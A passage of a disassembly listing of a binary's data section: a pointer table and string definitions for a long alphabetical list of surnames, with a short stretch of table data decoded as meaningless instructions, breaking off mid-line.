"Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" db 80h ; --------------------------------------------------------------------------- loc_42EB39: ; CODE XREF: ___:0042EB40j test dword ptr [edx+0], offset aScudder ; "Scudder" jo short loc_42EB39 inc edx add [eax-9], ch inc edx add [eax-9], ah inc edx add [eax-9], bl inc edx add [eax-9], dl inc edx add [edi+esi*8+42h], cl add [edi+esi*8+42h], al add [eax], bh test dword ptr [edx+0], offset aSexton ; "Sexton" sub bh, dh inc edx add [eax], ah test dword ptr [edx+0], offset aShakis ; "Shakis" or al, 0F7h inc edx add [edi+esi*8], al inc edx add ah, bh test byte ptr [edx+0], 0F4h test byte ptr [edx+0], 0E8h test byte ptr [edx+0], 0E0h test byte ptr [edx+0], 0D8h test byte ptr [edx+0], 0CCh test byte ptr [edx+0], 0C0h test byte ptr [edx+0], 0B4h test byte ptr [edx+0], 0ACh test byte ptr [edx+0], 0A4h test byte ptr [edx+0], 9Ch test byte ptr [edx+0], 94h test byte ptr [edx+0], 8Ch test byte ptr [edx+0], 84h test byte ptr [edx+0], 7Ch test byte ptr [edx+0], 74h test byte ptr [edx+0], 68h test byte ptr [edx+0], 5Ch test byte ptr [edx+0], 50h test byte ptr [edx+0], 48h test byte ptr [edx+0], 40h test byte ptr [edx+0], 38h test byte ptr [edx+0], 30h test byte ptr [edx+0], 28h test byte ptr [edx+0], 20h test byte ptr [edx+0], 18h test byte ptr [edx+0], 10h test byte ptr [edx+0], 8 test byte ptr [edx+0], 0FCh cmc inc edx add ah, dh cmc inc edx add ah, ch cmc inc edx add ah, ah cmc inc edx add al, bl cmc inc edx add ah, cl cmc inc edx add ah, al cmc inc edx add [ebp+esi*8-0A4BFFBEh], bh inc edx add [ebp+esi*8-0A5FFFBEh], ch inc edx add [eax-6FFFBD0Bh], bl cmc inc edx add [ebp+esi*8-0A83FFBEh], al inc edx add [ebp+esi*8+42h], dh add [ebp+esi*8+42h], ch add [ebp+esi*8+42h], ah add [ebp+esi*8+42h], dl add [eax-0Bh], cl inc edx add [eax-0Bh], al inc edx add ds:0F52C0042h[esi*8], dh inc edx add ds:0F51C0042h[esi*8], ah inc edx add ds:0F5040042h[esi*8], cl inc edx add al, bh ; --------------------------------------------------------------------------- db 0F4h, 42h, 0 dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EEF0o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EEECo align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042EEE8o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EEE4o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042EEE0o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042EEDCo aZegans db 'Zegans',0 ; DATA XREF: ___:0042EED8o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042EED4o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042EED0o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EECCo aYu db 'Yu',0 ; DATA XREF: ___:0042EEC8o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EEC4o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042EEC0o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EEBCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EEB8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042EEB4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EEB0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EEACo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EEA8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EEA4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EEA0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042EE9Co align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EE98o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042EE94o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EE90o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EE8Co align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042EE88o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EE84o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042EE80o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EE7Co align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042EE78o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EE74o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042EE70o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EE6Co align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042EE68o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EE64o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EE60o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EE5Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EE58o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EE54o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EE50o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EE4Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042EE48o aViens db 'Viens',0 ; DATA XREF: ___:0042EE44o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042EE40o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EE3Co aViano db 'Viano',0 ; DATA XREF: ___:0042EE38o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EE34o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EE30o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EE2Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EE28o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EE24o aWhately db 'Whately',0 ; DATA XREF: ___:0042EE20o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EE1Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EE18o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EE14o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EE10o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042EE0Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EE08o align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042EE04o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EE00o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EDFCo align 10h aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EDF8o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EDF4o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EDF0o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EDECo align 10h aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EDE8o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EDE4o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EDE0o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EDDCo align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EDD8o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EDD4o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EDD0o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EDCCo align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EDC8o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EDC4o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042EDC0o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EDBCo align 10h aValberg db 'Valberg',0 ; DATA XREF: ___:0042EDB8o aWaite db 'Waite',0 ; DATA XREF: ___:0042EDB4o align 10h aVacca db 'Vacca',0 ; DATA XREF: ___:0042EDB0o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EDACo align 10h aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EDA8o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EDA4o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EDA0o align 10h aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042ED9Co aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042ED98o align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042ED94o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042ED90o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042ED8Co align 10h aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042ED88o align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042ED84o align 10h aTurano db 'Turano',0 ; DATA XREF: ___:0042ED80o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042ED7Co align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042ED78o align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042ED74o align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042ED70o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042ED6Co align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042ED68o aTruss db 'Truss',0 ; DATA XREF: ___:0042ED64o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042ED60o align 10h aTroiani db 'Troiani',0 ; DATA XREF: ___:0042ED5Co aTringali db 'Tringali',0 ; DATA XREF: ___:0042ED58o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042ED54o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042ED50o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042ED4Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042ED48o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042ED44o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042ED40o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042ED3Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042ED38o aToomer db 'Toomer',0 ; DATA XREF: ___:0042ED34o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042ED30o aTolman db 'Tolman',0 ; DATA XREF: ___:0042ED2Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042ED28o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042ED24o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042ED20o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042ED1Co aTill db 'Till',0 ; DATA XREF: ___:0042ED18o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042ED14o aThroop db 'Throop',0 ; DATA XREF: ___:0042ED10o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042ED0Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042ED08o aThibault db 'Thibault',0 ; DATA XREF: ___:0042ED04o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042ED00o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042ECFCo align 4 aThan db 'Than',0 ; DATA XREF: ___:0042ECF8o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042ECF4o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042ECF0o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042ECECo align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042ECE8o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042ECE4o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042ECE0o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042ECDCo align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042ECD8o aTatar db 'Tatar',0 ; DATA XREF: ___:0042ECD4o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042ECD0o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042ECCCo aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042ECC8o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042ECC4o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042ECC0o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042ECBCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042ECB8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042ECB4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042ECB0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042ECACo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042ECA8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042ECA4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042ECA0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042EC9Co align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042EC98o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042EC94o aStrange db 'Strange',0 ; DATA XREF: ___:0042EC90o aStott db 'Stott',0 ; DATA XREF: ___:0042EC8Co align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042EC88o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042EC84o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042EC80o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042EC7Co align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042EC78o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042EC74o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042EC70o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042EC6Co align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042EC68o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042EC64o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042EC60o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042EC5Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042EC58o aStatlender db 'Statlender',0 align 4 aStates db 'States',0 align 4 aStassinopolus db 'Stassinopolus',0 align 4 aStang db 'Stang',0 align 4 aStam db 'Stam',0 align 4 aStalvey db 'Stalvey',0 aStmartin db 'StMartin',0 align 10h aSpinrad db 'Spinrad',0 aSpiliotis db 'Spiliotis',0 align 4 aSpiegelhalter db 'Spiegelhalter',0 align 4 aSpicer db 'Spicer',0 align 4 aSperber db 'Sperber',0 aSpence db 'Spence',0 align 4 aSpeizer db 'Speizer',0 aSpaulding db 'Spaulding',0 align 10h aSparrow db 'Sparrow',0 aSpanier db 'Spanier',0 aSoultanian db 'Soultanian',0 align 4 aSoule db 'Soule',0 align 4 aSoukup db 'Soukup',0 align 4 aSottak db 'Sottak',0 align 4 aSorg db 'Sorg',0 align 4 aSorabella db 'Sorabella',0 align 4 aSommariva db 'Sommariva',0 align 4 aSomers db 'Somers',0 align 4 aSolon db 'Solon',0 align 4 aSocolow db 'Socolow',0 aSnodgrass db 'Snodgrass',0 align 4 aSniffen db 'Sniffen',0 aSmilow db 'Smilow',0 align 4 aSlowe db 'Slowe',0 align 10h aSloan db 'Sloan',0 align 4 aSkoda db 'Skoda',0 align 10h aSkerry db 'Skerry',0 align 4 aSkane db 'Skane',0 align 10h aSites db 'Sites',0 align 4 aSirilli db 'Sirilli',0 aSinsabaugh db 'Sinsabaugh',0 align 4 aSilvetti db 'Silvetti',0 align 4 aSilverman db 'Silverman',0 align 4 aSigna db 'Signa',0 align 4 aSigini db 'Sigini',0 align 4 aSigalot db 'Sigalot',0 aSiesto db 'Siesto',0 align 4 aShimon db 'Shimon',0 align 4 aShibata db 'Shibata',0 aShia db 'Shia',0 align 4 aShesko db 'Shesko',0 align 4 aShepstone db 'Shepstone',0 align 10h aSheppard db 'Sheppard',0 align 4 aShepherd db 'Shepherd',0 align 4 aSheats db 'Sheats',0 align 10h aShea db 'Shea',0 align 4 aShavelson db 'Shavelson',0 align 4 aShatrov db 'Shatrov',0 aShar db 'Shar',0 align 4 aShanley db 'Shanley',0 aShankland db 'Shankland',0 align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042EB69o align 10h aShaikh db 'Shaikh',0 align 4 aSeyfert db 'Seyfert',0 aSexton db 'Sexton',0 ; DATA XREF: ___:0042EB5Do align 4 aSeterdahl db 'Seterdahl',0 align 4 aSennett db 'Sennett',0 aSen db 'Sen',0 aSelvage db 'Selvage',0 aSekler db 'Sekler',0 align 10h aSegal db 'Segal',0 align 4 aSeeber db 'Seeber',0 align 10h aSeaton db 'Seaton',0 align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:loc_42EB39o aScovel db 'Scovel',0 align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042EB34o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042EB30o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042EB2Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042EB28o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042EB24o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042EB20o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042EB1Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042EB18o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042EB14o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042EB10o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042EB0Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042EB08o aScharf db 'Scharf',0 ; DATA XREF: ___:0042EB04o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042EB00o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042EAFCo align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042EAF8o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042EAF4o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042EAF0o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042EAECo align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042EAE8o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042EAE4o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042EAE0o aSarin db 'Sarin',0 ; DATA XREF: ___:0042EADCo align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042EAD8o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042EAD4o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042EAD0o aSamson db 'Samson',0 ; DATA XREF: ___:0042EACCo align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042EAC8o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042EAC4o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042EAC0o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042EABCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042EAB8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042EAB4o aRush db 'Rush',0 ; DATA XREF: ___:0042EAB0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042EAACo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042EAA8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042EAA4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042EAA0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042EA9Co align 4 aRow db 'Row',0 ; DATA XREF: ___:0042EA98o aRonen db 'Ronen',0 ; DATA XREF: ___:0042EA94o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042EA90o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042EA8Co aRocha db 'Rocha',0 ; DATA XREF: ___:0042EA88o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042EA84o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042EA80o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042EA7Co align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042EA78o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042EA74o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042EA70o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042EA6Co align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042EA68o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042EA64o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042EA60o aRenick db 'Renick',0 ; DATA XREF: ___:0042EA5Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042EA58o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042EA54o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042EA50o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042EA4Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042EA48o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042EA44o aRapple db 'Rapple',0 ; DATA XREF: ___:0042EA40o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042EA3Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042EA38o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042EA34o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042EA30o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042EA2Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042EA28o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042EA24o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042EA20o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042EA1Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042EA18o aPugh db 'Pugh',0 ; DATA XREF: ___:0042EA14o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042EA10o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042EA0Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042EA08o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042EA04o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042EA00o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E9FCo aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E9F8o aPresper db 'Presper',0 ; DATA XREF: ___:0042E9F4o aPowers db 'Powers',0 ; DATA XREF: ___:0042E9F0o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E9ECo aPoma db 'Poma',0 ; DATA XREF: ___:0042E9E8o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E9E4o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E9E0o aPolak db 'Polak',0 ; DATA XREF: ___:0042E9DCo align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E9D8o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E9D4o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E9D0o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E9CCo align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E9C8o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E9C4o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E9C0o aPlant db 'Plant',0 ; DATA XREF: ___:0042E9BCo align 4 aPlancon db 